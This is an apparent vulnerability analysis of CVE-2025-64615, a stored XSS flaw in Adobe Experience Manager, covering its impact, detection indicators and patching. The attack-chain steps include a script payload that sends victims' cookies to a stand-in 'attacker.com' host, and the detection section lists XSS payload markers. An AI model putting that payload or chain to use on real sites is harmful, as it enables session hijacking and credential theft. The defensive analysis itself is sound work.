CVE-2025-64615: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64615 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises/LTS) and AEM Cloud Service releases prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day (Adobe Advisory). It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, ENISA EUVD).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), where user-supplied input in AEM form fields is not adequately sanitized before being stored and rendered in web pages (Adobe Advisory). The attack vector is network-based, requiring low privileges (an authenticated low-privileged user) and user interaction from a victim who browses to the page containing the malicious payload. Once stored, the injected JavaScript executes in the victim's browser within the context of the AEM application, potentially enabling session hijacking, credential theft, or further attacks. No public proof-of-concept exploit code has been identified at this time.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit the affected AEM pages, impacting both confidentiality (e.g., session token theft, credential harvesting) and integrity (e.g., unauthorized actions performed on behalf of the victim). The scope is changed, meaning the impact extends beyond the attacker's own session to affect other users of the AEM instance. Availability is not directly impacted by this vulnerability (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., content authoring forms, comment fields, or custom components) that are rendered to other users.
4. Inject malicious payload: Submit a stored XSS payload into the vulnerable form field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent obfuscated variant.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the stored payload, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server, potentially enabling session hijacking or further privilege escalation within AEM (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• Network: Outbound HTTP/HTTPS requests from AEM users' browsers to unexpected external domains shortly after visiting AEM content pages, potentially indicating data exfiltration.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onload, onerror, onclick) within stored AEM content nodes in the JCR repository, detectable via repository inspection or content auditing tools.
• Browser/Application: Unexpected redirects or pop-ups experienced by AEM users when browsing specific content pages; anomalous JavaScript errors in browser developer consoles referencing unknown external domains.

Adobe has released patches addressing CVE-2025-64615 in AEM 6.5 Service Pack 6.5.24.0 and AEM Cloud Service release 2025.12.0 (Adobe Advisory). Organizations should upgrade AEM on-premises/LTS deployments to version 6.5.24.0 or later, and ensure AEM Cloud Service environments are updated to the December 2025 release. As a temporary workaround, restrict content authoring access to trusted users only and implement a Web Application Firewall (WAF) rule to detect and block XSS payloads in form submissions targeting AEM endpoints. Regularly audit stored content in the JCR repository for unexpected script injections.

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products patched in December 2025, including this XSS issue, recommending prompt patching (CIS Advisory). No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64615 has been identified beyond standard vulnerability database coverage.